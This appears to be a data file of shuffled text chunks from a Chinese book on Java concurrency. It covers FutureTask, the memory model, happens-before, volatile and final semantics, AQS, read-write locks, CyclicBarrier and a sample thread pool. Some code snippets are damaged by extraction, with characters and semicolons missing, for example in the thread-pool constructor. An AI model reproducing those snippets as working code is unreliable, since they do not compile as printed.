FutureTask.run()的执行过程如下。 1）执行在构造函数中指定的任务（Callable.call()）。 2）以原子方式来更新同步状态（调用AQS.compareAndSetState（int expect，int update），设置state为执行完成状态RAN）。如果这个原子操作成功，就设置代表计算结果的变量result的值为Callable.call()的返回值，然后调用AQS.releaseShared（int arg）。 3）AQS.releaseShared（int arg）首先会回调在子类Sync中实现的tryReleaseShared（arg）来执行release操作（设置运行任务的线程runner为null，然会返回true）；AQS.releaseShared（int arg），然后唤醒线程等待队列中的第一个线程。 4）调用FutureTask.done()。 当执行FutureTask.get()方法时，如果FutureTask不是处于执行完成状态RAN或已取消状态CANCELLED，当前执行线程将到AQS的线程等待队列中等待（见下图的线程A、B、C和D）。当某个线程执行FutureTask.run()方法或FutureTask.cancel（...）方法时，会唤醒线程等待队列的第一个线程（见图10-16所示的线程E唤醒线程A）。 图10-16 FutureTask的级联唤醒示意图 假设开始时FutureTask处于未启动状态或已启动状态，等待队列中已经有3个线程（A、B和C）在等待。此时，线程D执行get()方法将导致线程D也到等待队列中去等待。 当线程E执行run()方法时，会唤醒队列中的第一个线程A。线程A被唤醒后，首先把自己从队列中删除，然后唤醒它的后继线程B，最后线程A从get()方法返回。线程B、C和D重复A线程的处理流程。最终，在队列中等待的所有线程都被级联唤醒并从get()方法返回。"},
    {"text": "Unknown 3.2.2 as-if-serial语义 as-if-serial语义的意思是：不管怎么重排序（编译器和处理器为了提高并行度），（单线程）程序的执行结果不能被改变。编译器、runtime和处理器都必须遵守as-if-serial语义。 为了遵守as-if-serial语义，编译器和处理器不会对存在数据依赖关系的操作做重排序，因为这种重排序会改变执行结果。但是，如果操作之间不存在数据依赖关系，这些操作就可能被编译器和处理器重排序。为了具体说明，请看下面计算圆面积的代码示例。 double pi = 3.14; // A double r = 1.0; // B double area = pi * r * r; // C 上面3个操作的数据依赖关系如图3-6所示。 图3-6 3个操作之间的依赖关系 如图3-6所示，A和C之间存在数据依赖关系，同时B和C之间也存在数据依赖关系。因此在最终执行的指令序列中，C不能被重排序到A和B的前面（C排到A和B的前面，程序的结果将会被改变）。但A和B之间没有数据依赖关系，编译器和处理器可以重排序A和B之间的执行顺序。图3-7是该程序的两种执行顺序。 图3-7 程序的两种执行顺序 as-if-serial语义把单线程程序保护了起来，遵守as-if-serial语义的编译器、runtime和处理器共同为编写单线程程序的程序员创建了一个幻觉：单线程程序是按程序的顺序来执行的。as-if-serial语义使单线程程序员无需担心重排序会干扰他们，也无需担心内存可见性问题。 Unknown 3.3.2 顺序一致性内存模型 顺序一致性内存模型是一个被计算机科学家理想化了的理论参考模型，它为程序员提供了极强的内存可见性保证。顺序一致性内存模型有两大特性。 1）一个线程中的所有操作必须按照程序的顺序来执行。 2）（不管程序是否同步）所有线程都只能看到一个单一的操作执行顺序。在顺序一致性内存模型中，每个操作都必须原子执行且立刻对所有线程可见。 顺序一致性内存模型为程序员提供的视图如图3-10所示。 图3-10 顺序一致性内存模型的视图 在概念上，顺序一致性模型有一个单一的全局内存，这个内存通过一个左右摆动的开关可以连接到任意一个线程，同时每一个线程必须按照程序的顺序来执行内存读/写操作。从上面的示意图可以看出，在任意时间点最多只能有一个线程可以连接到内存。当多个线程并发执行时，图中的开关装置能把所有线程的所有内存读/写操作串行化（即在顺序一致性模型中，所有操作之间具有全序关系）。 为了更好进行理解，下面通过两个示意图来对顺序一致性模型的特性做进一步的说明。 假设有两个线程A和B并发执行。其中A线程有3个操作，它们在程序中的顺序是： A1→A2→A3 。B线程也有3个操作，它们在程序中的顺序是： B1→B2→B3 。 假设这两个线程使用监视器锁来正确同步：A线程的3个操作执行后释放监视器锁，随后B线程获取同一个监视器锁。那么程序在顺序一致性模型中的执行效果将如图3-11所示。 图3-11 顺序一致性模型的一种执行效果 现在我们再假设这两个线程没有做同步，下面是这个未同步程序在顺序一致性模型中的执行示意图，如图3-12所示。 图3-12 顺序一致性模型中的另一种执行效果 未同步程序在顺序一致性模型中虽然整体执行顺序是无序的，但所有线程都只能看到一个一致的整体执行顺序。以上图为例，线程A和B看到的执行顺序都是：B1→A1→A2→B2→A3→B3。之所以能得到这个保证是因为顺序一致性内存模型中的每个操作必须立即对任意线程可见。 但是，在JMM中就没有这个保证。未同步程序在JMM中不但整体的执行顺序是无序的，而且所有线程看到的操作执行顺序也可能不一致。比如，在当前线程把写过的数据缓存在本地内存中，在没有刷新到主内存之前，这个写操作仅对当前线程可见；从其他线程的角度来观察，会认为这个写操作根本没有被当前线程执行。只有当前线程把本地内存中写过的数据刷新到主内存之后，这个写操作才能对其他线程可见。在这种情况下，当前线程和其他线程看到的操作执行顺序将不一致。"},
    {"text": "Unknown 5.2 队列同步器 队列同步器AbstractQueuedSynchronizer（以下简称同步器），是用来构建锁或者其他同步组件的基础框架，它使用了一个int成员变量表示同步状态，通过内置的FIFO队列来完成资源获取线程的排队工作，并发包的作者（Doug Lea）期望它能够成为实现大部分同步需求的基础。 同步器的主要使用方式是继承，子类通过继承同步器并实现它的抽象方法来管理同步状态，在抽象方法的实现过程中免不了要对同步状态进行更改，这时就需要使用同步器提供的3个方法（getState()、setState(int newState)和compareAndSetState(int expect,int update)）来进行操作，因为它们能够保证状态的改变是安全的。子类推荐被定义为自定义同步组件的静态内部类，同步器自身没有实现任何同步接口，它仅仅是定义了若干同步状态获取和释放的方法来供自定义同步组件使用，同步器既可以支持独占式地获取同步状态，也可以支持共享式地获取同步状态，这样就可以方便实现不同类型的同步组件（ReentrantLock、ReentrantReadWriteLock和CountDownLatch等）。 同步器是实现锁（也可以是任意同步组件）的关键，在锁的实现中聚合同步器，利用同步器实现锁的语义。可以这样理解二者之间的关系：锁是面向使用者的，它定义了使用者与锁交互的接口（比如可以允许两个线程并行访问），隐藏了实现细节；同步器面向的是锁的实现者，它简化了锁的实现方式，屏蔽了同步状态管理、线程的排队、等待与唤醒等底层操作。锁和同步器很好地隔离了使用者和实现者所需关注的领域。 Unknown 5.5 LockSupport工具 回顾5.2节，当需要阻塞或唤醒一个线程的时候，都会使用LockSupport工具类来完成相应工作。LockSupport定义了一组的公共静态方法，这些方法提供了最基本的线程阻塞和唤醒功能，而LockSupport也成为构建同步组件的基础工具。 LockSupport定义了一组以park开头的方法用来阻塞当前线程，以及unpark(Thread thread)方法来唤醒一个被阻塞的线程。Park有停车的意思，假设线程为车辆，那么park方法代表着停车，而unpark方法则是指车辆启动离开，这些方法以及描述如表5-10所示。 表5-10 LockSupport提供的阻塞和唤醒方法 在Java 6中，LockSupport增加了park(Object blocker)、parkNanos(Object blocker,long nanos)和parkUntil(Object blocker,long deadline)3个方法，用于实现阻塞当前线程的功能，其中参数blocker是用来标识当前线程在等待的对象（以下称为阻塞对象），该对象主要用于问题排查和系统监控。 下面的示例中，将对比parkNanos(long nanos)方法和parkNanos(Object blocker,long nanos)方法来展示阻塞对象blocker的用处，代码片段和线程dump（部分）如表5-11所示。 从表5-11的线程dump结果可以看出，代码片段的内容都是阻塞当前线程10秒，但从线程dump结果可以看出，有阻塞对象的parkNanos方法能够传递给开发人员更多的现场信息。这是由于在Java 5之前，当线程阻塞（使用synchronized关键字）在一个对象上时，通过线程dump能够查看到该线程的阻塞对象，方便问题定位，而Java 5推出的Lock等并发工具时却遗漏了这一点，致使在线程dump时无法提供阻塞对象的信息。因此，在Java 6中，LockSupport新增了上述3个含有阻塞对象的park方法，用以替代原有的park方法。 表5-11 Blocker在线程dump中的作用 Unknown 5.4.1 读写锁的接口与示例 ReadWriteLock仅定义了获取读锁和写锁的两个方法，即readLock()方法和writeLock()方法，而其实现——ReentrantReadWriteLock，除了接口方法之外，还提供了一些便于外界监控其内部工作状态的方法，这些方法以及描述如表5-9所示。 表5-9 ReentrantReadWriteLock展示内部工作状态的方法 接下来，通过一个缓存示例说明读写锁的使用方式，示例代码如代码清单5-16所示。 代码清单5-16 Cache.java public class Cache { static Map<String, Object> map = new HashMap<String, Object>(); static ReentrantReadWriteLock rwl = new ReentrantReadWriteLock(); static Lock r = rwl.readLock(); static Lock w = rwl.writeLock(); // 获取一个key对应的value public static final Object get(String key) { r.lock(); try { return map.get(key); } finally { r.unlock(); } } // 设置key对应的value，并返回旧的value public static final Object put(String key, Object value) { w.lock(); try { return map.put(key, value); } finally { w.unlock(); } } // 清空所有的内容 public static final void clear() { w.lock(); try { map.clear(); } finally { w.unlock(); } } } 上述示例中，Cache组合一个非线程安全的HashMap作为缓存的实现，同时使用读写锁的读锁和写锁来保证Cache是线程安全的。在读操作get(String key)方法中，需要获取读锁，这使得并发访问该方法时不会被阻塞。写操作put(String key,Object value)方法和clear()方法，在更新HashMap时必须提前获取写锁，当获取写锁后，其他线程对于读锁和写锁的获取均被阻塞，而只有写锁被释放之后，其他读写操作才能继续。Cache使用读写锁提升读操作的并发性，也保证每次写操作对所有的读写操作的可见性，同时简化了编程方式。"},
    {"text": "Unknown 3.6.6 final语义在处理器中的实现 现在我们以X86处理器为例，说明final语义在处理器中的具体实现。 上面我们提到，写final域的重排序规则会要求编译器在final域的写之后，构造函数return之前插入一个StoreStore障屏。读final域的重排序规则要求编译器在读final域的操作前面插入一个LoadLoad屏障。 由于X86处理器不会对写-写操作做重排序，所以在X86处理器中，写final域需要的StoreStore障屏会被省略掉。同样，由于X86处理器不会对存在间接依赖关系的操作做重排序，所以在X86处理器中，读final域需要的LoadLoad屏障也会被省略掉。也就是说，在X86处理器中，final域的读/写不会插入任何内存屏障！ Unknown 3.6.7 JSR-133为什么要增强final的语义 在旧的Java内存模型中，一个最严重的缺陷就是线程可能看到final域的值会改变。比如，一个线程当前看到一个整型final域的值为0（还未初始化之前的默认值），过一段时间之后这个线程再去读这个final域的值时，却发现值变为1（被某个线程初始化之后的值）。最常见的例子就是在旧的Java内存模型中，String的值可能会改变。 为了修补这个漏洞，JSR-133专家组增强了final的语义。通过为final域增加写和读重排序规则，可以为Java程序员提供初始化安全保证：只要对象是正确构造的（被构造对象的引用在构造函数中没有“逸出”），那么不需要使用同步（指lock和volatile的使用）就可以保证任意线程都能看到这个final域在构造函数中被初始化之后的值。 Unknown 9.2.2 向线程池提交任务 可以使用两个方法向线程池提交任务，分别为execute()和submit()方法。 execute()方法用于提交不需要返回值的任务，所以无法判断任务是否被线程池执行成功。通过以下代码可知execute()方法输入的任务是一个Runnable类的实例。 threadsPool.execute(new Runnable() { @Override public void run() { // TODO Auto-generated method stub } }); submit()方法用于提交需要返回值的任务。线程池会返回一个future类型的对象，通过这个future对象可以判断任务是否执行成功，并且可以通过future的get()方法来获取返回值，get()方法会阻塞当前线程直到任务完成，而使用get（long timeout，TimeUnit unit）方法则会阻塞当前线程一段时间后立即返回，这时候有可能任务没有执行完。 Future<Object> future = executor.submit(harReturnValuetask); try { Object s = future.get(); } catch (InterruptedException e) { // 处理中断异常 } catch (ExecutionException e) { // 处理无法执行任务异常 } finally { // 关闭线程池 executor.shutdown(); } Unknown 10.3 ScheduledThreadPoolExecutor详解 ScheduledThreadPoolExecutor继承自ThreadPoolExecutor。它主要用来在给定的延迟之后运行任务，或者定期执行任务。ScheduledThreadPoolExecutor的功能与Timer类似，但ScheduledThreadPoolExecutor功能更强大、更灵活。Timer对应的是单个后台线程，而ScheduledThreadPoolExecutor可以在构造函数中指定多个对应的后台线程数。 Unknown 6.4.2 工作窃取算法 工作窃取（work-stealing）算法是指某个线程从其他队列里窃取任务来执行。那么，为什么需要使用工作窃取算法呢？假如我们需要做一个比较大的任务，可以把这个任务分割为若干互不依赖的子任务，为了减少线程间的竞争，把这些子任务分别放到不同的队列里，并为每个队列创建一个单独的线程来执行队列里的任务，线程和队列一一对应。比如A线程负责处理A队列里的任务。但是，有的线程会先把自己队列里的任务干完，而其他线程对应的队列里还有任务等待处理。干完活的线程与其等着，不如去帮其他线程干活，于是它就去其他线程的队列里窃取一个任务来执行。而在这时它们会访问同一个队列，所以为了减少窃取任务线程和被窃取任务线程之间的竞争，通常会使用双端队列，被窃取任务线程永远从双端队列的头部拿任务执行，而窃取任务的线程永远从双端队列的尾部拿任务执行。 工作窃取的运行流程如图6-7所示。 图6-7 工作窃取运行流程图 工作窃取算法的优点： 充分利用线程进行并行计算，减少了线程间的竞争。 工作窃取算法的缺点： 在某些情况下还是存在竞争，比如双端队列里只有一个任务时。并且该算法会消耗了更多的系统资源，比如创建多个线程和多个双端队列。"},
    {"text": "Unknown 3.8.3 基于volatile的解决方案 对于前面的基于双重检查锁定来实现延迟初始化的方案（指DoubleCheckedLocking示例代码），只需要做一点小的修改（把instance声明为volatile型），就可以实现线程安全的延迟初始化。请看下面的示例代码。 public class SafeDoubleCheckedLocking { private volatile static Instance instance; public static Instance getInstance() { if (instance == null) { synchronized (SafeDoubleCheckedLocking.class) { if (instance == null) instance = new Instance(); // instance为volatile，现在没问题了 } } return instance; } } 注意 这个解决方案需要JDK 5或更高版本（因为从JDK 5开始使用新的JSR-133内存模型规范，这个规范增强了volatile的语义）。 当声明对象的引用为volatile后，3.8.2节中的3行伪代码中的2和3之间的重排序，在多线程环境中将会被禁止。上面示例代码将按如下的时序执行，如图3-39所示。 图3-39 多线程执行时序图 这个方案本质上是通过禁止图3-39中的2和3之间的重排序，来保证线程安全的延迟初始化。 Unknown 1.4 本章小结 本章介绍了在进行并发编程时，大家可能会遇到的几个挑战，并给出了一些解决建议。有的并发程序写得不严谨，在并发下如果出现问题，定位起来会比较耗时和棘手。所以，对于Java开发工程师而言，笔者强烈建议多使用JDK并发包提供的并发容器和工具类来解决并发问题，因为这些类都已经通过了充分的测试和优化，均可解决了本章提到的几个挑战。 Unknown 3.6.1 final域的重排序规则 对于final域，编译器和处理器要遵守两个重排序规则。 1）在构造函数内对一个final域的写入，与随后把这个被构造对象的引用赋值给一个引用变量，这两个操作之间不能重排序。 2）初次读一个包含final域的对象的引用，与随后初次读这个final域，这两个操作之间不能重排序。 下面通过一些示例性的代码来分别说明这两个规则。 public class FinalExample { int i; // 普通变量 final int j; // final变量 static FinalExample obj; public FinalExample () { // 构造函数 i = 1; // 写普通域 j = 2; // 写final域 } public static void writer () { // 写线程A执行 obj = new FinalExample (); } public static void reader () { // 读线程B执行 FinalExample object = obj; // 读对象引用 int a = object.i; // 读普通域 int b = object.j; // 读final域 } } 这里假设一个线程A执行writer()方法，随后另一个线程B执行reader()方法。下面我们通过这两个线程的交互来说明这两个规则。"},
    {"text": "Unknown 3.7.3 happens-before规则 《JSR-133:Java Memory Model and Thread Specification》定义了如下happens-before规则。 1）程序顺序规则：一个线程中的每个操作，happens-before于该线程中的任意后续操作。 2）监视器锁规则：对一个锁的解锁，happens-before于随后对这个锁的加锁。 3）volatile变量规则：对一个volatile域的写，happens-before于任意后续对这个volatile域的读。 4）传递性：如果A happens-before B，且B happens-before C，那么A happens-before C。 5）start()规则：如果线程A执行操作ThreadB.start()（启动线程B），那么A线程的ThreadB.start()操作happens-before于线程B中的任意操作。 6）join()规则：如果线程A执行操作ThreadB.join()并成功返回，那么线程B中的任意操作happens-before于线程A从ThreadB.join()操作成功返回。 这里的规则1）、2）、3）和4）前面都讲到过，这里再做个总结。由于2）和3）情况类似，这里只以1）、3）和4）为例来说明。图3-34是volatile写-读建立的happens-before关系图。 图3-34 happens-before关系的示意图 结合图3-34，我们做以下分析。 ·1 happens-before 2和3 happens-before 4由程序顺序规则产生。由于编译器和处理器都要遵守as-if-serial语义，也就是说，as-if-serial语义保证了程序顺序规则。因此，可以把程序顺序规则看成是对as-if-serial语义的“封装”。 ·2 happens-before 3是由volatile规则产生。前面提到过，对一个volatile变量的读，总是能看到（任意线程）之前对这个volatile变量最后的写入。因此，volatile的这个特性可以保证实现volatile规则。 ·1 happens-before 4是由传递性规则产生的。这里的传递性是由volatile的内存屏障插入策略和volatile的编译器重排序规则共同来保证的。 下面我们来看start()规则。假设线程A在执行的过程中，通过执行ThreadB.start()来启动线程B；同时，假设线程A在执行ThreadB.start()之前修改了一些共享变量，线程B在开始执行后会读这些共享变量。图3-35是该程序对应的happens-before关系图。 图3-35 happens-before关系的示意图 在图3-35中，1 happens-before 2由程序顺序规则产生。2 happens-before 4由start()规则产生。根据传递性，将有1 happens-before 4。这实意味着，线程A在执行ThreadB.start()之前对共享变量所做的修改，接下来在线程B开始执行后都将确保对线程B可见。 下面我们来看join()规则。假设线程A在执行的过程中，通过执行ThreadB.join()来等待线程B终止；同时，假设线程B在终止之前修改了一些共享变量，线程A从ThreadB.join()返回后会读这些共享变量。图3-36是该程序对应的happens-before关系图。 图3-36 happens-before关系的示意图 在图3-36中，2 happens-before 4由join()规则产生；4 happens-before 5由程序顺序规则产生。根据传递性规则，将有2 happens-before 5。这意味着，线程A执行操作ThreadB.join()并成功返回后，线程B中的任意操作都将对线程A可见。 Unknown 8.2.1 CyclicBarrier简介 CyclicBarrier默认的构造方法是CyclicBarrier（int parties），其参数表示屏障拦截的线程数量，每个线程调用await方法告诉CyclicBarrier我已经到达了屏障，然后当前线程被阻塞。示例代码如代码清单8-3所示。 代码清单8-3 CyclicBarrierTest.java public class CyclicBarrierTest { staticCyclicBarrier c = new CyclicBarrier(2); public static void main(String[] args) { new Thread(new Runnable() { @Override public void run() { try { c.await(); } catch (Exception e) { } System.out.println(1); } }).start(); try { c.await(); } catch (Exception e) { } System.out.println(2); } } 因为主线程和子线程的调度是由CPU决定的，两个线程都有可能先执行，所以会产生两种输出，第一种可能输出如下。 1 2 第二种可能输出如下。 2 1 如果把new CyclicBarrier(2)修改成new CyclicBarrier(3)，则主线程和子线程会永远等待，因为没有第三个线程执行await方法，即没有第三个线程到达屏障，所以之前到达屏障的两个线程都不会继续执行。 CyclicBarrier还提供一个更高级的构造函数CyclicBarrier（int parties，Runnable barrier-Action），用于在线程到达屏障时，优先执行barrierAction，方便处理更复杂的业务场景，如代码清单8-4所示。 代码清单8-4 CyclicBarrierTest2.java import java.util.concurrent.CyclicBarrier; public class CyclicBarrierTest2 { static CyclicBarrier c = new CyclicBarrier(2, new A()); public static void main(String[] args) { new Thread(new Runnable() { @Override public void run() { try { c.await(); } catch (Exception e) { } System.out.println(1); } }).start(); try { c.await(); } catch (Exception e) { } System.out.println(2); } static class A implements Runnable { @Override public void run() { System.out.println(3); } } } 因为CyclicBarrier设置了拦截线程的数量是2，所以必须等代码中的第一个线程和线程A都执行完之后，才会继续执行主线程，然后输出2，所以代码执行后的输出如下。 3 1 2"},
    {"text": "Unknown 2.1 volatile的应用 在多线程并发编程中synchronized和volatile都扮演着重要的角色，volatile是轻量级的synchronized，它在多处理器开发中保证了共享变量的“可见性”。"},
    {"text": "1.volatile的定义与实现原理 Java语言规范第3版中对volatile的定义如下：Java编程语言允许线程访问共享变量，为了确保共享变量能被准确和一致地更新，线程应该确保通过排他锁单独获得这个变量。 Java语言提供了volatile，在某些情况下比锁要更加方便。 如果一个字段被声明成volatile，Java线程内存模型确保所有线程看到这个变量的值是一致的。 在了解volatile实现原理之前，我们先来看下与其实现原理相关的CPU术语与说明。"},
    {"text": "0x01a3de1d: movb $0×0,0×1104800(%esi);0x01a3de24: lock addl $0×0,(%esp); 有volatile变量修饰的共享变量进行写操作的时候会多出第二行汇编代码，通过查IA-32架构软件开发者手册可知，Lock前缀的指令在多核处理器下会引发了两件事情 [1] 。"},
    {"text": "为了提高处理速度，处理器不直接和内存进行通信，而是先将系统内存的数据读到内部缓存（L1，L2或其他）后再进行操作，但操作完不知道何时会写到内存。"},
    {"text": "所以，在多处理器下，为了保证各个处理器的缓存是一致的，就会实现缓存一致性协议，每个处理器通过嗅探在总线上传播的数据来检查自己缓存的值是不是过期了，当处理器发现自己缓存行对应的内存地址被修改，就会将当前处理器的缓存行设置成无效状态，当处理器对这个数据进行修改操作的时候，会重新从系统内存中把数据读到处理器缓存里。"},
    {"text": "1） Lock前缀指令会引起处理器缓存回写到内存 。 Lock前缀指令导致在执行指令期间，声言处理器的LOCK#信号。 在多处理器环境中，LOCK#信号确保在声言该信号期间，处理器可以独占任何共享内存 [2] 。 但是，在最近的处理器里，LOCK＃信号一般不锁总线，而是锁缓存，毕竟锁总线开销的比较大。 在8.1.4节有详细说明锁定操作对处理器缓存的影响，对于Intel486和Pentium处理器，在锁操作时，总是在总线上声言LOCK#信号。 但在P6和目前的处理器中，如果访问的内存区域已经缓存在处理器内部，则不会声言LOCK#信号。"},
    {"text": "相反，它会锁定这块内存区域的缓存并回写到内存，并使用缓存一致性机制来确保修改的原子性，此操作被称为“缓存锁定”，缓存一致性机制会阻止同时修改由两个以上处理器缓存的内存区域数据。"},
    {"text": "例如，在Pentium和P6 family处理器中，如果通过嗅探一个处理器来检测其他处理器打算写内存地址，而这个地址当前处于共享状态，那么正在嗅探的处理器将使它的缓存行无效，在下次访问相同内存地址时，强制执行缓存行填充。"},
    {"text": "2.volatile的使用优化 著名的Java并发编程大师Doug lea在JDK 7的并发包里新增一个队列集合类Linked-TransferQueue，它在使用volatile变量时，用一种追加字节的方式来优化队列出队和入队的性能。"},
    {"text": "/** 队列中的头部节点 */ private transient f?inal PaddedAtomicReference<QNode> head; /** 队列中的尾部节点 */ private transient f?inal PaddedAtomicReference<QNode> tail; static f?inal class PaddedAtomicReference <T> extends AtomicReference T> { // 使用很多4个字节的引用追加到64个字节 Object p0, p1, p2, p3, p4, p5, p6, p7, p8, p9, pa, pb, pc, pd, pe; PaddedAtomicReference(T r) { super(r); } } public class AtomicReference <V> implements java.io.Serializable { private volatile V value; // 省略其他代码 ｝ 追加字节能优化性能 ？"},
    {"text": "让我们先来看看LinkedTransferQueue这个类，它使用一个内部类类型来定义队列的头节点（head）和尾节点（tail），而这个内部类PaddedAtomicReference相对于父类AtomicReference只做了一件事情，就是将共享变量追加到64字节。"},
    {"text": "因为对于英特尔酷睿i7、酷睿、Atom和NetBurst，以及Core Solo和Pentium M处理器的L1、L2或L3缓存的高速缓存行是64个字节宽，不支持部分填充缓存行，这意味着，如果队列的头节点和尾节点都不足64字节的话，处理器会将它们都读到同一个高速缓存行中，在多处理器下每个处理器都会缓存同样的头、尾节点，当一个处理器试图修改头节点时，会将整个缓存行锁定，那么在缓存一致性机制的作用下，会导致其他处理器不能访问自己高速缓存中的尾节点，而队列的入队和出队操作则需要不停修改头节点和尾节点，所以在多处理器的情况下将会严重影响到队列的入队和出队效率。"},
    {"text": "Doug lea使用追加到64字节的方式来填满高速缓冲区的缓存行，避免头节点和尾节点加载到同一个缓存行，使头、尾节点在修改时不会互相锁定。"},
    {"text": "因为使用追加字节的方式需要处理器读取更多的字节到高速缓冲区，这本身就会带来一定的性能消耗，如果共享变量不被频繁写的话，锁的几率也非常小，就没必要通过追加字节的方式来避免相互锁定。"},
    {"text": "Unknown 4.4.3 线程池技术及其示例 对于服务端的程序，经常面对的是客户端传入的短小（执行时间短、工作内容较为单一）任务，需要服务端快速处理并返回结果。"},
    {"text": "如果服务端每次接受到一个任务，创建一个线程，然后进行执行，这在原型阶段是个不错的选择，但是面对成千上万的任务递交进服务器时，如果还是采用一个任务一个线程的方式，那么将会创建数以万记的线程，这不是一个好的选择。 因为这会使操作系统频繁的进行线程上下文切换，无故增加系统的负载，而线程的创建和消亡都是需要耗费系统资源的，也无疑浪费了系统资源。 线程池技术能够很好地解决这个问题，它预先创建了若干数量的线程，并且不能由用户直接对线程的创建进行控制，在这个前提下重复使用固定或较为固定数目的线程来完成任务的执行。"},
    {"text": "代码清单4-19 ThreadPool.java public interface ThreadPool<Job extends Runnable> { // 执行一个Job，这个Job需要实现Runnable void execute(Job job); // 关闭线程池 void shutdown(); // 增加工作者线程 void addWorkers(int num); // 减少工作者线程 void removeWorker(int num); // 得到正在等待执行的任务数量 int getJobSize(); } 客户端可以通过execute(Job)方法将Job提交入线程池执行，而客户端自身不用等待Job的执行完成。 除了execute(Job)方法以外，线程池接口提供了增大/减少工作者线程以及关闭线程池的方法。 这里工作者线程代表着一个重复执行Job的线程，而每个由客户端提交的Job都将进入到一个工作队列中等待工作者线程的处理。"},
    {"text": "代码清单4-20 DefaultThreadPool.java public class DefaultThreadPool<Job extends Runnable> implements ThreadPool<Job> { // 线程池最大限制数 private static final int MAX_WORKER_NUMBERS = 10; // 线程池默认的数量 private static final int DEFAULT_WORKER_NUMBERS = 5; // 线程池最小的数量 private static final int MIN_WORKER_NUMBERS = 1; // 这是一个工作列表，将会向里面插入工作 private final LinkedList<Job> jobs = new LinkedList<Job>(); // 工作者列表 private final List<Worker> workers = Collections.synchronizedList(new ArrayList<Worker>()); // 工作者线程的数量 private int workerNum = DEFAULT_WORKER_NUMBERS; // 线程编号生成 private AtomicLong threadNum = new AtomicLong(); public DefaultThreadPool() { initializeWokers(DEFAULT_WORKER_NUMBERS); } public DefaultThreadPool(int num) { workerNum = num > MAX_WORKER_NUMBERS MAX_WORKER_NUMBERS : num < MIN_WORKER_ NUMBERS MIN_WORKER_NUMBERS : num; initializeWokers(workerNum); } public void execute(Job job) { if (job != null) { // 添加一个工作，然后进行通知 synchronized (jobs) { jobs.addLast(job); jobs.notify(); } } } public void shutdown() { for (Worker worker : workers) { worker.shutdown(); } } public void addWorkers(int num) { synchronized (jobs) { // 限制新增的Worker数量不能超过最大值 if (num + this.workerNum > MAX_WORKER_NUMBERS) { num = MAX_WORKER_NUMBERS - this.workerNum; } initializeWokers(num); this.workerNum += num; } } public void removeWorker(int num) { synchronized (jobs) { if (num >= this.workerNum) { throw new IllegalArgumentException(\"beyond workNum\"); } // 按照给定的数量停止Worker int count = 0; while (count < num) { Worker worker = workers.get(count) if (workers.remove(worker)) { worker.shutdown(); count++; } } this.workerNum -= count; } } public int getJobSize() { return jobs.size(); } // 初始化线程工作者 private void initializeWokers(int num) { for (int i = 0; i < num; i++) { Worker worker = new Worker(); workers.add(worker); Thread thread = new Thread(worker, \"ThreadPool-Worker-\" + threadNum. incrementAndGet()); thread.start(); } } // 工作者，负责消费任务 class Worker implements Runnable { // 是否工作 private volatile boolean running = true; public void run() { while (running) { Job job = null; synchronized (jobs) { // 如果工作者列表是空的，那么就wait while (jobs.isEmpty()) { try { jobs.wait(); } catch (InterruptedException ex) { // 感知到外部对WorkerThread的中断操作，返回 Thread.currentThread().interrupt(); return; } } // 取出一个Job job = jobs.removeFirst(); } if (job != null) { try { job.run(); } catch (Exception ex) { // 忽略Job执行中的Exception } } } } public void shutdown() { running = false; } } } 从线程池的实现可以看到，当客户端调用execute(Job)方法时，会不断地向任务列表jobs中添加Job，而每个工作者线程会不断地从jobs上取出一个Job进行执行，当jobs为空时，工作者线程进入等待状态。"},
    {"text": "添加一个Job后，对工作队列jobs调用了其notify()方法，而不是notifyAll()方法，因为能够确定有工作者线程被唤醒，这时使用notify()方法将会比notifyAll()方法获得更小的开销（避免将等待队列中的线程全部移动到阻塞队列中）。"},
    {"text": "可以看到，线程池的本质就是使用了一个线程安全的工作队列连接工作者线程和客户端线程，客户端线程将任务放入工作队列后便返回，而工作者线程则不断地从工作队列上取出工作并执行。"},
    {"text": "当工作队列为空时，所有的工作者线程均等待在工作队列上，当有客户端提交了一个任务之后会通知任意一个工作者线程，随着大量的任务被提交，更多的工作者线程会被唤醒。"},
    {"text": "Unknown 2.4 本章小结 本章我们一起研究了volatile、synchronized和原子操作的实现原理。Java中的大部分容器和框架都依赖于本章介绍的volatile和原子操作的实现原理，了解这些原理对我们进行并发编程会更有帮助。 Unknown 3.4.4 volatile内存语义的实现 下面来看看JMM如何实现volatile写/读的内存语义。 前文提到过重排序分为编译器重排序和处理器重排序。为了实现volatile内存语义，JMM会分别限制这两种类型的重排序类型。表3-5是JMM针对编译器制定的volatile重排序规则表。 表3-5 volatile重排序规则表 举例来说，第三行最后一个单元格的意思是：在程序中，当第一个操作为普通变量的读或写时，如果第二个操作为volatile写，则编译器不能重排序这两个操作。 从表3-5我们可以看出。 ·当第二个操作是volatile写时，不管第一个操作是什么，都不能重排序。这个规则确保volatile写之前的操作不会被编译器重排序到volatile写之后。 ·当第一个操作是volatile读时，不管第二个操作是什么，都不能重排序。这个规则确保volatile读之后的操作不会被编译器重排序到volatile读之前。 ·当第一个操作是volatile写，第二个操作是volatile读时，不能重排序。 为了实现volatile的内存语义，编译器在生成字节码时，会在指令序列中插入内存屏障来禁止特定类型的处理器重排序。对于编译器来说，发现一个最优布置来最小化插入屏障的总数几乎不可能。为此，JMM采取保守策略。下面是基于保守策略的JMM内存屏障插入策略。 ·在每个volatile写操作的前面插入一个StoreStore屏障。 ·在每个volatile写操作的后面插入一个StoreLoad屏障。 ·在每个volatile读操作的后面插入一个LoadLoad屏障。 ·在每个volatile读操作的后面插入一个LoadStore屏障。 上述内存屏障插入策略非常保守，但它可以保证在任意处理器平台，任意的程序中都能得到正确的volatile内存语义。 下面是保守策略下，volatile写插入内存屏障后生成的指令序列示意图，如图3-19所示。 图3-19 指令序列示意图 图3-19中的StoreStore屏障可以保证在volatile写之前，其前面的所有普通写操作已经对任意处理器可见了。这是因为StoreStore屏障将保障上面所有的普通写在volatile写之前刷新到主内存。 这里比较有意思的是，volatile写后面的StoreLoad屏障。此屏障的作用是避免volatile写与后面可能有的volatile读/写操作重排序。因为编译器常常无法准确判断在一个volatile写的后面是否需要插入一个StoreLoad屏障（比如，一个volatile写之后方法立即return）。为了保证能正确实现volatile的内存语义，JMM在采取了保守策略：在每个volatile写的后面，或者在每个volatile读的前面插入一个StoreLoad屏障。从整体执行效率的角度考虑，JMM最终选择了在每个volatile写的后面插入一个StoreLoad屏障。因为volatile写-读内存语义的常见使用模式是：一个写线程写volatile变量，多个读线程读同一个volatile变量。当读线程的数量大大超过写线程时，选择在volatile写之后插入StoreLoad屏障将带来可观的执行效率的提升。从这里可以看到JMM在实现上的一个特点：首先确保正确性，然后再去追求执行效率。 下面是在保守策略下，volatile读插入内存屏障后生成的指令序列示意图，如图3-20所示。 图3-20 指令序列示意图 